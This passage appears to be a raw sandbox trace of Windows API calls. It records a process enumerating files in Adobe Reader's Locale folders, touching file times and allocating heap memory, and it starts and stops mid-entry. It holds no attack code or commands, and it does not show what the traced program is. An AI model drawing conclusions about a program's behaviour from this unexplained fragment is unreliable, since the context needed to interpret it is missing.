ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.HUN", cAlternateFileName="")) returned 1 [0082.098] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.HUN", cAlternateFileName="")) returned 0 [0082.098] GetLastError () returned 0x12 [0082.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.098] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.098] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0082.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.100] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.100] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.100] NtClose (Handle=0x168) returned 0x0 [0082.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.101] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.103] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.103] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA", cAlternateFileName="")) returned 1 [0082.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ada8 [0082.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f1a8 [0082.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.104] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.ITA", cAlternateFileName="")) returned 1 [0082.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125adc8 [0082.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f3b8 [0082.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.106] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.ITA", cAlternateFileName="")) returned 1 [0082.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ade8 [0082.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f2b0 [0082.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.108] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.ITA", cAlternateFileName="")) returned 1 [0082.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ae08 [0082.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f6d0 [0082.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.109] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.ITA", cAlternateFileName="")) returned 1 [0082.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ae28 [0082.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f7d8 [0082.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.111] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.ITA", cAlternateFileName="")) returned 1 [0082.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ae48 [0082.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f8e0 [0082.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.ITA", cAlternateFileName="")) returned 1 [0082.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ae68 [0082.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f9e8 [0082.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.113] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.ITA", cAlternateFileName="")) returned 1 [0082.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ae88 [0082.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127faf0 [0082.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.ITA", cAlternateFileName="")) returned 1 [0082.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aea8 [0082.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127fbf8 [0082.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.116] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.ITA", cAlternateFileName="")) returned 1 [0082.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aec8 [0082.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127fd00 [0082.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.118] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.ITA", cAlternateFileName="")) returned 1 [0082.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125aee8 [0082.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127fe08 [0082.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.119] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.ITA", cAlternateFileName="")) returned 1 [0082.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125af08 [0082.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127ff10 [0082.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.121] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.ITA", cAlternateFileName="")) returned 1 [0082.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125af28 [0082.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280018 [0082.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.122] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.ITA", cAlternateFileName="")) returned 1 [0082.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125af48 [0082.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280120 [0082.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6cc0) returned 0x12a17f8 [0082.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129ab70) returned 1 [0082.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.ITA", cAlternateFileName="")) returned 1 [0082.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125af68 [0082.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280228 [0082.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7de2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x157000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.ITA", cAlternateFileName="")) returned 1 [0082.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 